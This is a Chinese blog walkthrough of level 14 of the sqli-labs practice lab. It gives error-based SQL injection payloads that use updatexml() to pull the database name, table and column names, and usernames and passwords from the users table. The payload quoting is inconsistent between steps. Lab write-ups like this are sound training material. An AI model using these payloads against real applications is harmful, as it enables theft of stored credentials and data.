[网络安全]sqli-labs Less-14 解题详析

原理及姿势参考：[网络安全]SQL注入原理及常见攻击方法简析

Less-14与Less-13相似，攻击姿势及原理可参考本专栏Less-5：[网络安全]sqli-labs Less-5 解题详析

判断注入类型

经测试可知注入类型为双引号注入

判断注入点个数

由上下图可知，注入点个数为2

查库名

1") union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

数据库名为security

查表名

1" union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#

得到四个表

查users表的列名

1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#

查字段

1" and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#

---

总结

以上为[网络安全]sqli-labs Less-14 解题详析，后续将分享[网络安全]sqli-labs Less-15 解题详析

我是秋说，我们下次见。